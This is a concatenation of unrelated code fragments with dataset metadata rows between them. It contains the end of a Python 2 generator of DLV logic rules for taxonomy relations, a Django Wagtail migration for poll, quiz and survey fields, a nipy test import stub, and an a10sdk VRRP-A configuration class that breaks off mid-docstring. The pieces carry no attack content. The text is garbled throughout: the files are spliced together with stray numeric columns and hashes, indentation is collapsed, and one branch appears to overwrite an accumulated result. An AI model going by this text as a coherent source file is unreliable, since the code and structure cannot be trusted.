secondVar=name2).rule result += AggregationRule(firstVar=name3, secondVar=name2, firstPredIsIn=False).rule result += AggregationRule(firstVar=name3, secondVar=name2).rule result += "pie(r" + self.ruleNum.__str__() + ", A, 1) :- ir(X, A), out(" + name1 + ", X), in(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 1) :- vr(X, A), out(" + name1 + ", X), in(" + name2 + ", X), ix.\n\n" result += "pie(r" + self.ruleNum.__str__() + ", A, 2) :- ir(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 2) :- vr(X, A), in(" + name1 + ", X), in(" + name2 + ", X), ix.\n\n" result += "pie(r" + self.ruleNum.__str__() + ", A, 3) :- ir(X, A), out(" + name3 + ", X), in(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 3) :- vr(X, A), out(" + name3 + ", X), in(" + name2 + ", X), ix.\n\n" result += "pie(r" + self.ruleNum.__str__() + ", A, 4) :- ir(X, A), in(" + name3 + ", X), in(" + name2 + ", X), ix.\n" result += "c(r" + self.ruleNum.__str__() + ", A, 4) :- vr(X, A), in(" + name3 + ", X), in(" + name2 + ", X), ix.\n\n" result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name1 + ",X), out(" + name2 + ",X).\n" result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name3 + ",X), out(" + name2 + ",X).\n" elif self.relations == relation["+3="]: name3 = self.taxon3.dlvName() name4 = self.taxon4.dlvName() result = AggregationRule(firstVar=name1, secondVar=name4, firstPredIsIn=False).rule result += AggregationRule(firstVar=name1, secondVar=name4).rule result += AggregationRule(firstVar=name2, secondVar=name4, firstPredIsIn=False).rule result += AggregationRule(firstVar=name2, secondVar=name4).rule result += AggregationRule(firstVar=name3, secondVar=name4, firstPredIsIn=False).rule result += AggregationRule(firstVar=name3, secondVar=name4).rule result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name1 + ",X), out(" + name4 + ",X).\n" result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name2 + ",X), out(" + name4 + ",X).\n" result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name3 + ",X), out(" + name4 + ",X).\n" result += "ir(X, r" + self.ruleNum.__str__() + ") :- out(" +name1 + ",X), out(" + name2 + ",X),\ out(" + name3 + ",X), in(" + name4 + ",X).\n" elif self.relations == relation["+4="]: name3 = self.taxon3.dlvName() name4 = self.taxon4.dlvName() name5 = self.taxon5.dlvName() result = AggregationRule(firstVar=name1, secondVar=name5, firstPredIsIn=False).rule result += AggregationRule(firstVar=name1, secondVar=name5).rule result += AggregationRule(firstVar=name2, secondVar=name5, firstPredIsIn=False).rule result += AggregationRule(firstVar=name2, secondVar=name5).rule result += AggregationRule(firstVar=name3, secondVar=name5, firstPredIsIn=False).rule result += AggregationRule(firstVar=name3, secondVar=name5).rule result += AggregationRule(firstVar=name4, secondVar=name5, firstPredIsIn=False).rule result += AggregationRule(firstVar=name4, secondVar=name5).rule result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name1 + ",X), out(" + name5 + ",X).\n" result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name2 + ",X), out(" + name5 + ",X).\n" result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name3 + ",X), out(" + name5 + ",X).\n" result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name4 + ",X), out(" + name5 + ",X).\n" elif self.relations == relation["=+"] or self.relations == relation["-="]: # rsum and ldiff name3 = self.taxon3.dlvName() result = AggregationRule(firstVar=name2, secondVar=name1, firstPredIsIn=False).rule result += AggregationRule(firstVar=name2, secondVar=name1).rule result += AggregationRule(firstVar=name3, secondVar=name1, firstPredIsIn=False).rule result += AggregationRule(firstVar=name3, secondVar=name1).rule result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name2 + ",X), out(" + name1 + ",X).\n" result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name3 + ",X), out(" + name1 + ",X).\n" elif self.relations == relation["=3+"]: name3 = self.taxon3.dlvName() name4 = self.taxon4.dlvName() result = AggregationRule(firstVar=name2, secondVar=name1, firstPredIsIn=False).rule result += AggregationRule(firstVar=name2, secondVar=name1).rule result += AggregationRule(firstVar=name3, secondVar=name1, firstPredIsIn=False).rule result += AggregationRule(firstVar=name3, secondVar=name1).rule result += AggregationRule(firstVar=name4, secondVar=name1, firstPredIsIn=False).rule result += AggregationRule(firstVar=name4, secondVar=name1).rule result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name2 + ",X), out(" + name1 + ",X).\n" result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name3 + ",X), out(" + name1 + ",X).\n" result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name4 + ",X), out(" + name1 + ",X).\n" elif self.relations == relation["=4+"]: name3 = self.taxon3.dlvName() name4 = self.taxon4.dlvName() name5 = self.taxon5.dlvName() result = AggregationRule(firstVar=name2, secondVar=name1, firstPredIsIn=False).rule result += AggregationRule(firstVar=name2, secondVar=name1).rule result += AggregationRule(firstVar=name3, secondVar=name1, firstPredIsIn=False).rule result += AggregationRule(firstVar=name3, secondVar=name1).rule result = AggregationRule(firstVar=name4, secondVar=name1, firstPredIsIn=False).rule result += AggregationRule(firstVar=name4, secondVar=name1).rule result += AggregationRule(firstVar=name5, secondVar=name1, firstPredIsIn=False).rule result += AggregationRule(firstVar=name5, secondVar=name1).rule result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name2 + ",X), out(" + name1 + ",X).\n" result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name3 + ",X), out(" + name1 + ",X).\n" result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name4 + ",X), out(" + name1 + ",X).\n" result += "ir(X, r" + self.ruleNum.__str__() + ") :- in(" + name5 + ",X), out(" + name1 + ",X).\n" else: print "Relation ",self.relations," is not yet supported!!!!" result = "\n" elif encode[enc] & encode["direct"]: prefix = "label(" + name1 + ", " + name2 +", " result = "" firstrel = True if self.relations < relation["+="]: if self.relations & rcc5["includes"] == rcc5["includes"]: result = prefix + "in) " firstrel = False if self.relations & rcc5["is_included_in"] == rcc5["is_included_in"]: if firstrel: result = prefix + "ls) " firstrel = False else: result += " v " + prefix + "ls) " if self.relations & rcc5["overlaps"] == rcc5["overlaps"]: if firstrel: result = prefix + "ol) " firstrel = False else: result += " v " + prefix + "ol) " if self.relations & rcc5["disjoint"] == rcc5["disjoint"]: if firstrel: result = prefix + "ds) " firstrel = False else: result += " v " + prefix + "ds) " if self.relations & rcc5["equals"] == rcc5["equals"]: if firstrel: result = prefix + "eq) " firstrel = False else: result += " v " + prefix + "eq) " if not firstrel: result += "." elif self.relations == relation["+="]: result = "sum(" + self.taxon3.dlvName() + "," + name1 + "," + name2 + ").\n" elif self.relations == relation["=+"]: result = "sum(" + name1 + "," + name2 + "," + self.taxon3.dlvName() + ").\n" else: raise Exception("Encoding:", enc, " is not supported !!") return result
73.939873
246
0.482709
5,079
46,730
4.350266
0.05316
0.029328
0.05594
0.069925
0.844671
0.826658
0.794433
0.75981
0.701969
0.680969
0
0.02986
0.310571
46,730
631
247
74.057052
0.655958
0.031072
0
0.474576
0
0
0.210811
0.001481
0
0
0
0.001585
0
0
null
null
0
0.011299
null
null
0.001883
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
e14ad8ade0da1c3be2a5c3c33a237039b3afe179
6,059
py
Python
questionnaires/migrations/0026_auto_20220125_1149.py
ChrisMarsh82/iogt
8141421a79b73bd038880a3be92fa6809adced13
[ "BSD-2-Clause" ]
1
2022-03-11T11:46:27.000Z
2022-03-11T11:46:27.000Z
questionnaires/migrations/0026_auto_20220125_1149.py
ChrisMarsh82/iogt
8141421a79b73bd038880a3be92fa6809adced13
[ "BSD-2-Clause" ]
null
null
null
questionnaires/migrations/0026_auto_20220125_1149.py
ChrisMarsh82/iogt
8141421a79b73bd038880a3be92fa6809adced13
[ "BSD-2-Clause" ]
null
null
null
# Generated by Django 3.1.14 on 2022-01-25 11:49 from django.db import migrations import home.blocks import wagtail.core.blocks import wagtail.core.fields import wagtail.images.blocks import wagtailmarkdown.blocks class Migration(migrations.Migration): dependencies = [ ('questionnaires', '0025_auto_20220106_0908'), ] operations = [ migrations.AlterField( model_name='poll', name='description', field=wagtail.core.fields.StreamField([('heading', wagtail.core.blocks.CharBlock(form_classname='full title', template='blocks/heading.html')), ('paragraph', wagtail.core.blocks.RichTextBlock(features=['h2', 'h3', 'h4', 'bold', 'italic', 'ol', 'ul', 'hr', 'link', 'document-link', 'image'])), ('paragraph_v1_legacy', home.blocks.RawHTMLBlock(icon='code')), ('image', wagtail.images.blocks.ImageChooserBlock(template='blocks/image.html')), ('list', wagtailmarkdown.blocks.MarkdownBlock(icon='code')), ('numbered_list', home.blocks.NumberedListBlock(wagtailmarkdown.blocks.MarkdownBlock(icon='code'))), ('page_button', wagtail.core.blocks.StructBlock([('page', wagtail.core.blocks.PageChooserBlock()), ('text', wagtail.core.blocks.CharBlock(max_length=255, required=False))]))], blank=True, null=True), ), migrations.AlterField( model_name='poll', name='terms_and_conditions', field=wagtail.core.fields.StreamField([('paragraph', wagtail.core.blocks.RichTextBlock(features=['h2', 'h3', 'h4', 'bold', 'italic', 'ol', 'ul', 'hr', 'link', 'document-link', 'image'])), ('page_button', wagtail.core.blocks.StructBlock([('page', wagtail.core.blocks.PageChooserBlock()), ('text', wagtail.core.blocks.CharBlock(max_length=255, required=False))]))], blank=True, null=True), ), migrations.AlterField( model_name='poll', name='thank_you_text', field=wagtail.core.fields.StreamField([('paragraph', wagtail.core.blocks.RichTextBlock(features=['h2', 'h3', 'h4', 'bold', 'italic', 'ol', 'ul', 'hr', 'link', 'document-link', 'image'])), ('media', home.blocks.MediaBlock(icon='media')), ('image', wagtail.images.blocks.ImageChooserBlock(template='blocks/image.html'))], blank=True, null=True), ), migrations.AlterField( model_name='quiz', name='description', field=wagtail.core.fields.StreamField([('heading', wagtail.core.blocks.CharBlock(form_classname='full title', template='blocks/heading.html')), ('paragraph', wagtail.core.blocks.RichTextBlock(features=['h2', 'h3', 'h4', 'bold', 'italic', 'ol', 'ul', 'hr', 'link', 'document-link', 'image'])), ('paragraph_v1_legacy', home.blocks.RawHTMLBlock(icon='code')), ('image', wagtail.images.blocks.ImageChooserBlock(template='blocks/image.html')), ('list', wagtailmarkdown.blocks.MarkdownBlock(icon='code')), ('numbered_list', home.blocks.NumberedListBlock(wagtailmarkdown.blocks.MarkdownBlock(icon='code'))), ('page_button', wagtail.core.blocks.StructBlock([('page', wagtail.core.blocks.PageChooserBlock()), ('text', wagtail.core.blocks.CharBlock(max_length=255, required=False))]))], blank=True, null=True), ), migrations.AlterField( model_name='quiz', name='terms_and_conditions', field=wagtail.core.fields.StreamField([('paragraph', wagtail.core.blocks.RichTextBlock(features=['h2', 'h3', 'h4', 'bold', 'italic', 'ol', 'ul', 'hr', 'link', 'document-link', 'image'])), ('page_button', wagtail.core.blocks.StructBlock([('page', wagtail.core.blocks.PageChooserBlock()), ('text', wagtail.core.blocks.CharBlock(max_length=255, required=False))]))], blank=True, null=True), ), migrations.AlterField( model_name='quiz', name='thank_you_text', field=wagtail.core.fields.StreamField([('paragraph', wagtail.core.blocks.RichTextBlock(features=['h2', 'h3', 'h4', 'bold', 'italic', 'ol', 'ul', 'hr', 'link', 'document-link', 'image'])), ('media', home.blocks.MediaBlock(icon='media')), ('image', wagtail.images.blocks.ImageChooserBlock(template='blocks/image.html'))], blank=True, null=True), ), migrations.AlterField( model_name='survey', name='description', field=wagtail.core.fields.StreamField([('heading', wagtail.core.blocks.CharBlock(form_classname='full title', template='blocks/heading.html')), ('paragraph', wagtail.core.blocks.RichTextBlock(features=['h2', 'h3', 'h4', 'bold', 'italic', 'ol', 'ul', 'hr', 'link', 'document-link', 'image'])), ('paragraph_v1_legacy', home.blocks.RawHTMLBlock(icon='code')), ('image', wagtail.images.blocks.ImageChooserBlock(template='blocks/image.html')), ('list', wagtailmarkdown.blocks.MarkdownBlock(icon='code')), ('numbered_list', home.blocks.NumberedListBlock(wagtailmarkdown.blocks.MarkdownBlock(icon='code'))), ('page_button', wagtail.core.blocks.StructBlock([('page', wagtail.core.blocks.PageChooserBlock()), ('text', wagtail.core.blocks.CharBlock(max_length=255, required=False))]))], blank=True, null=True), ), migrations.AlterField( model_name='survey', name='terms_and_conditions', field=wagtail.core.fields.StreamField([('paragraph', wagtail.core.blocks.RichTextBlock(features=['h2', 'h3', 'h4', 'bold', 'italic', 'ol', 'ul', 'hr', 'link', 'document-link', 'image'])), ('page_button', wagtail.core.blocks.StructBlock([('page', wagtail.core.blocks.PageChooserBlock()), ('text', wagtail.core.blocks.CharBlock(max_length=255, required=False))]))], blank=True, null=True), ), migrations.AlterField( model_name='survey', name='thank_you_text', field=wagtail.core.fields.StreamField([('paragraph', wagtail.core.blocks.RichTextBlock(features=['h2', 'h3', 'h4', 'bold', 'italic', 'ol', 'ul', 'hr', 'link', 'document-link', 'image'])), ('media', home.blocks.MediaBlock(icon='media')), ('image', wagtail.images.blocks.ImageChooserBlock(template='blocks/image.html'))], blank=True, null=True), ), ]
94.671875
812
0.670738
673
6,059
5.967311
0.138187
0.112301
0.131225
0.06499
0.933765
0.933765
0.925548
0.925548
0.925548
0.925548
0
0.015146
0.128239
6,059
63
813
96.174603
0.745172
0.007592
0
0.789474
1
0
0.202795
0.003826
0
0
0
0
0
1
0
false
0
0.105263
0
0.157895
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
e1965a21d94917720040d0103d301753ea23be4c
112
py
Python
nipy/algorithms/statistics/tests/__init__.py
yarikoptic/NiPy-OLD
8759b598ac72d3b9df7414642c7a662ad9c55ece
[ "BSD-3-Clause" ]
1
2015-08-22T16:14:45.000Z
2015-08-22T16:14:45.000Z
nipy/algorithms/statistics/tests/__init__.py
yarikoptic/NiPy-OLD
8759b598ac72d3b9df7414642c7a662ad9c55ece
[ "BSD-3-Clause" ]
null
null
null
nipy/algorithms/statistics/tests/__init__.py
yarikoptic/NiPy-OLD
8759b598ac72d3b9df7414642c7a662ad9c55ece
[ "BSD-3-Clause" ]
null
null
null
import nipy.algorithms.statistics.tests.test_rft import nipy.algorithms.statistics.tests.test_intrinsic_volumes
37.333333
62
0.892857
15
112
6.466667
0.6
0.206186
0.412371
0.618557
0.804124
0.804124
0
0
0
0
0
0
0.035714
112
2
63
56
0.898148
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
1
1
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
10
e1aae7c7a1cddb348f8f98b1f9b8896ed180756c
20,792
py
Python
a10sdk/core/vrrp/vrrp_a.py
deepfield/a10sdk-python
bfaa58099f51f085d5e91652d1d1a3fd5c529d5d
[ "Apache-2.0" ]
16
2015-05-20T07:26:30.000Z
2021-01-23T11:56:57.000Z
a10sdk/core/vrrp/vrrp_a.py
deepfield/a10sdk-python
bfaa58099f51f085d5e91652d1d1a3fd5c529d5d
[ "Apache-2.0" ]
6
2015-03-24T22:07:11.000Z
2017-03-28T21:31:18.000Z
a10sdk/core/vrrp/vrrp_a.py
deepfield/a10sdk-python
bfaa58099f51f085d5e91652d1d1a3fd5c529d5d
[ "Apache-2.0" ]
23
2015-03-29T15:43:01.000Z
2021-06-02T17:12:01.000Z
from a10sdk.common.A10BaseClass import A10BaseClass class EthernetCfg(A10BaseClass): """This class does not support CRUD Operations please use parent. :param flap_ethernet_end: {"type": "number", "description": "Ethernet Port", "format": "interface"} :param flap_ethernet_start: {"type": "number", "description": "Ethernet Port", "format": "interface"} :param DeviceProxy: The device proxy for REST operations and session handling. Refer to `common/device_proxy.py` """ def __init__(self, **kwargs): self.ERROR_MSG = "" self.b_key = "ethernet-cfg" self.DeviceProxy = "" self.flap_ethernet_end = "" self.flap_ethernet_start = "" for keys, value in kwargs.items(): setattr(self,keys, value) class RestartPortList(A10BaseClass): """This class does not support CRUD Operations please use parent. :param ethernet_cfg: {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"optional": true, "flap-ethernet-end": {"type": "number", "description": "Ethernet Port", "format": "interface"}, "flap-ethernet-start": {"type": "number", "description": "Ethernet Port", "format": "interface"}}}]} :param uuid: {"description": "uuid of the object", "format": "string", "minLength": 1, "modify-not-allowed": 1, "maxLength": 64, "type": "string"} :param DeviceProxy: The device proxy for REST operations and session handling. Refer to `common/device_proxy.py` """ def __init__(self, **kwargs): self.ERROR_MSG = "" self.b_key = "restart-port-list" self.DeviceProxy = "" self.ethernet_cfg = [] self.uuid = "" for keys, value in kwargs.items(): setattr(self,keys, value) class VrrpA(A10BaseClass): """ :param vrid_list: {"minItems": 1, "items": {"type": "vrid"}, "uniqueItems": true, "array": [{"required": ["vrid-val"], "properties": {"blade-parameters": {"type": "object", "properties": {"priority": {"description": "VRRP-A priorty (Priority, default is 150)", "format": "number", "default": 150, "maximum": 255, "minimum": 1, "type": "number"}, "fail-over-policy-template": {"description": "Apply a fail over policy template (VRRP-A fail over policy template name)", "format": "string", "minLength": 1, "maxLength": 63, "type": "string", "$ref": "/axapi/v3/vrrp-a/fail-over-policy-template"}, "uuid": {"description": "uuid of the object", "format": "string", "minLength": 1, "modify-not-allowed": 1, "maxLength": 64, "type": "string"}, "tracking-options": {"type": "object", "properties": {"vlan-cfg": {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"vlan": {"description": "VLAN tracking (VLAN id)", "minimum": 2, "type": "number", "maximum": 4094, "format": "number"}, "optional": true, "timeout": {"minimum": 2, "type": "number", "maximum": 600, "format": "number"}, "priority-cost": {"description": "The amount the priority will decrease", "minimum": 1, "type": "number", "maximum": 255, "format": "number"}}}]}, "uuid": {"description": "uuid of the object", "format": "string", "minLength": 1, "modify-not-allowed": 1, "maxLength": 64, "type": "string"}, "route": {"type": "object", "properties": {"ipv6-destination-cfg": {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"distance": {"description": "Route's administrative distance (default: match any)", "minimum": 1, "type": "number", "maximum": 255, "format": "number"}, "protocol": {"default": "any", "enum": ["any", "static", "dynamic"], "type": "string", "description": "'any': Match any routing protocol (default); 'static': Match only static routes (added by user); 'dynamic': Match routes added by dynamic routing protocols (e.g. OSPF); ", "format": "enum"}, "priority-cost": {"description": "The amount the priority will decrease if the route is missing (The amount the priority will decrease if the route is not present)", "minimum": 1, "type": "number", "maximum": 255, "format": "number"}, "ipv6-destination": {"type": "string", "description": "IPv6 Destination Prefix", "format": "ipv6-address-plen"}, "gatewayv6": {"type": "string", "description": "Match the route's gateway (next-hop) (default: match any)", "format": "ipv6-address"}, "optional": true}}]}, "ip-destination-cfg": {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"distance": {"description": "Route's administrative distance (default: match any)", "minimum": 1, "type": "number", "maximum": 255, "format": "number"}, "protocol": {"default": "any", "enum": ["any", "static", "dynamic"], "type": "string", "description": "'any': Match any routing protocol (default); 'static': Match only static routes (added by user); 'dynamic': Match routes added by dynamic routing protocols (e.g. OSPF); ", "format": "enum"}, "mask": {"type": "string", "description": "Destination prefix mask", "format": "ipv4-netmask"}, "priority-cost": {"description": "The amount the priority will decrease if the route is missing (The amount the priority will decrease if the route is not present)", "minimum": 1, "type": "number", "maximum": 255, "format": "number"}, "ip-destination": {"type": "string", "description": "Destination prefix", "format": "ipv4-address"}, "optional": true, "gateway": {"type": "string", "description": "Match the route's gateway (next-hop) (default: match any)", "format": "ipv4-address"}}}]}}}, "interface": {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"ethernet": {"type": "number", "description": "Ethernet Interface (Ethernet interface number)", "format": "interface"}, "optional": true, "priority-cost": {"description": "The amount the priority will decrease", "minimum": 1, "type": "number", "maximum": 255, "format": "number"}}}]}, "gateway": {"type": "object", "properties": {"ipv4-gateway-list": {"minItems": 1, "items": {"type": "ipv4-gateway"}, "uniqueItems": true, "array": [{"required": ["ip-address"], "properties": {"uuid": {"description": "uuid of the object", "format": "string", "minLength": 1, "modify-not-allowed": 1, "optional": true, "maxLength": 64, "type": "string"}, "ip-address": {"optional": false, "type": "string", "description": "IP Address", "format": "ipv4-address"}, "priority-cost": {"description": "The amount the priority will decrease", "format": "number", "type": "number", "maximum": 255, "minimum": 1, "optional": true}}}], "type": "array", "$ref": "/axapi/v3/vrrp-a/vrid/{vrid-val}/blade-parameters/tracking-options/gateway/ipv4-gateway/{ip-address}"}, "ipv6-gateway-list": {"minItems": 1, "items": {"type": "ipv6-gateway"}, "uniqueItems": true, "array": [{"required": ["ipv6-address"], "properties": {"ipv6-address": {"optional": false, "type": "string", "description": "IPV6 address", "format": "ipv6-address"}, "uuid": {"description": "uuid of the object", "format": "string", "minLength": 1, "modify-not-allowed": 1, "optional": true, "maxLength": 64, "type": "string"}, "priority-cost": {"description": "The amount the priority will decrease", "format": "number", "type": "number", "maximum": 255, "minimum": 1, "optional": true}}}], "type": "array", "$ref": "/axapi/v3/vrrp-a/vrid/{vrid-val}/blade-parameters/tracking-options/gateway/ipv6-gateway/{ipv6-address}"}}, "$ref": "/axapi/v3/vrrp-a/vrid/{vrid-val}/blade-parameters/tracking-options/gateway"}, "trunk-cfg": {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"per-port-pri": {"description": "per port priority", "format": "number", "default": 1, "maximum": 255, "minimum": 1, "type": "number"}, "priority-cost": {"description": "The amount the priority will decrease", "minimum": 1, "type": "number", "maximum": 255, "format": "number"}, "optional": true, "trunk": {"description": "trunk tracking (Trunk Number)", "minimum": 1, "type": "number", "maximum": 16, "format": "number"}}}]}}, "$ref": "/axapi/v3/vrrp-a/vrid/{vrid-val}/blade-parameters/tracking-options"}}, "$ref": "/axapi/v3/vrrp-a/vrid/{vrid-val}/blade-parameters"}, "uuid": {"description": "uuid of the object", "format": "string", "minLength": 1, "modify-not-allowed": 1, "optional": true, "maxLength": 64, "type": "string"}, "floating-ip": {"type": "object", "properties": {"ipv6-address-part-cfg": {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"ethernet": {"partition-visibility": "private", "type": "number", "description": "Ethernet (for link-local address only)", "format": "interface"}, "ipv6-address-partition": {"partition-visibility": "private", "platform-specific-default": 1, "type": "string", "description": "IPV6 address", "format": "ipv6-address"}, "optional": true, "ve": {"description": "VE interface (for link-local address only)", "partition-visibility": "private", "format": "number", "maximum": 4094, "minimum": 2, "type": "number"}, "trunk": {"description": "Trunk interface (for link-local address only)", "partition-visibility": "private", "format": "number", "maximum": 4096, "minimum": 1, "type": "number"}}}]}, "ip-address-cfg": {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"optional": true, "ip-address": {"partition-visibility": "shared", "platform-specific-default": 1, "type": "string", "description": "IP Address", "format": "ipv4-address"}}}]}, "ip-address-part-cfg": {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"ip-address-partition": {"partition-visibility": "private", "platform-specific-default": 1, "type": "string", "description": "IP Address", "format": "ipv4-address"}, "optional": true}}]}, "ipv6-address-cfg": {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"ipv6-address": {"partition-visibility": "shared", "platform-specific-default": 1, "type": "string", "description": "IPV6 address", "format": "ipv6-address"}, "ethernet": {"partition-visibility": "shared", "type": "number", "description": "Ethernet (for link-local address only)", "format": "interface"}, "optional": true, "ve": {"description": "VE interface (for link-local address only)", "partition-visibility": "shared", "format": "number", "maximum": 4094, "minimum": 2, "type": "number"}, "trunk": {"description": "Trunk interface (for link-local address only)", "partition-visibility": "shared", "format": "number", "maximum": 4096, "minimum": 1, "type": "number"}}}]}}}, "vrid-val": {"description": "Specify ha VRRP-A vrid", "format": "number", "default": 0, "optional": false, "maximum": 31, "minimum": 0, "type": "number"}, "preempt-mode": {"type": "object", "properties": {"threshold": {"description": "preemption threshold (preemption threshhold (1-255), default 1)", "format": "number", "default": 1, "maximum": 255, "minimum": 1, "type": "number"}, "disable": {"default": 0, "type": "number", "description": "disable preemption", "format": "flag"}}}, "follow": {"type": "object", "properties": {"vrid-lead": {"description": "Define a VRRP-A VRID leader", "partition-visibility": "private", "minLength": 1, "format": "string", "maxLength": 128, "type": "string"}}}}}], "type": "array", "$ref": "/axapi/v3/vrrp-a/vrid/{vrid-val}"} :param force_self_standby_persistent_list: {"minItems": 1, "items": {"type": "force-self-standby-persistent"}, "uniqueItems": true, "array": [{"required": ["vrid"], "properties": {"vrid": {"description": "Specify one VRRP-A vrid to force into standby state", "format": "number", "type": "number", "maximum": 31, "minimum": 0, "optional": false}, "uuid": {"description": "uuid of the object", "format": "string", "minLength": 1, "modify-not-allowed": 1, "optional": true, "maxLength": 64, "type": "string"}}}], "type": "array", "$ref": "/axapi/v3/vrrp-a/force-self-standby-persistent/{vrid}"} :param ospf_inline_list: {"minItems": 1, "items": {"type": "ospf-inline"}, "uniqueItems": true, "array": [{"required": ["vlan"], "properties": {"vlan": {"description": "Do not filter OSPF packet on specific vlan (Vlan number)", "format": "number", "type": "number", "maximum": 4094, "minimum": 1, "optional": false}, "uuid": {"description": "uuid of the object", "format": "string", "minLength": 1, "modify-not-allowed": 1, "optional": true, "maxLength": 64, "type": "string"}}}], "type": "array", "$ref": "/axapi/v3/vrrp-a/ospf-inline/{vlan}"} :param fail_over_policy_template_list: {"minItems": 1, "items": {"type": "fail-over-policy-template"}, "uniqueItems": true, "array": [{"required": ["name"], "properties": {"vlan-cfg": {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"vlan": {"description": "VLAN tracking (VLAN id)", "minimum": 1, "type": "number", "maximum": 4094, "format": "number"}, "optional": true, "weight": {"description": "The failover event weight", "minimum": 1, "type": "number", "maximum": 255, "format": "number"}, "timeout": {"minimum": 2, "type": "number", "maximum": 600, "format": "number"}}}]}, "name": {"description": "VRRP-A fail over policy template name", "format": "string", "minLength": 1, "optional": false, "maxLength": 128, "type": "string"}, "route": {"type": "object", "properties": {"ipv6-destination-cfg": {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"distance": {"description": "Route's administrative distance (default: match any)", "minimum": 1, "type": "number", "maximum": 255, "format": "number"}, "protocol": {"default": "any", "enum": ["any", "static", "dynamic"], "type": "string", "description": "'any': Match any routing protocol (default); 'static': Match only static routes (added by user); 'dynamic': Match routes added by dynamic routing protocols (e.g. OSPF); ", "format": "enum"}, "weight": {"description": "The amount the priority will decrease if the route is missing (The amount the priority will decrease if the route is not present)", "minimum": 1, "type": "number", "maximum": 255, "format": "number"}, "ipv6-destination": {"type": "string", "description": "IPv6 Destination Prefix", "format": "ipv6-address-plen"}, "gatewayv6": {"type": "string", "description": "Match the route's gateway (next-hop) (default: match any)", "format": "ipv6-address"}, "optional": true}}]}, "ip-destination-cfg": {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"distance": {"description": "Route's administrative distance(default: match any)", "minimum": 1, "type": "number", "maximum": 255, "format": "number"}, "protocol": {"default": "any", "enum": ["any", "static", "dynamic"], "type": "string", "description": "'any': Match any routing protocol (default); 'static': Match only static routes (added by user); 'dynamic': Match routes added by dynamic routing protocols (e.g. OSPF); ", "format": "enum"}, "weight": {"description": "The amount the priority will decrease if the route is missing (The amount the priority will decrease if the route is not present)", "minimum": 1, "type": "number", "maximum": 255, "format": "number"}, "mask": {"type": "string", "description": "Destination prefix mask", "format": "ipv4-netmask"}, "ip-destination": {"type": "string", "description": "Destination prefix", "format": "ipv4-address"}, "optional": true, "gateway": {"type": "string", "format": "ipv4-address"}}}]}}}, "interface": {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"ethernet": {"type": "number", "description": "Ethernet Interface (Ethernet interface number)", "format": "interface"}, "optional": true, "weight": {"description": "The failover event weight", "minimum": 1, "type": "number", "maximum": 255, "format": "number"}}}]}, "gateway": {"type": "object", "properties": {"gw-ipv4-address-cfg": {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"optional": true, "weight": {"description": "The failover event weight", "minimum": 1, "type": "number", "maximum": 255, "format": "number"}, "gw-ipv4-address": {"type": "string", "description": "IP Address", "format": "ipv4-address"}}}]}, "gw-ipv6-address-cfg": {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"optional": true, "gw-ipv6-address": {"type": "string", "description": "IPV6 address", "format": "ipv6-address"}, "weight": {"description": "The failover event weight", "minimum": 1, "type": "number", "maximum": 255, "format": "number"}}}]}}}, "trunk-cfg": {"minItems": 1, "items": {"type": "object"}, "uniqueItems": true, "type": "array", "array": [{"properties": {"per-port-weight": {"description": "Per port failover weight", "format": "number", "default": 1, "maximum": 255, "minimum": 1, "type": "number"}, "optional": true, "weight": {"description": "failover event weight", "minimum": 1, "type": "number", "maximum": 255, "format": "number"}, "trunk": {"description": "trunk tracking (trunk id)", "minimum": 1, "type": "number", "maximum": 16, "format": "number"}}}]}, 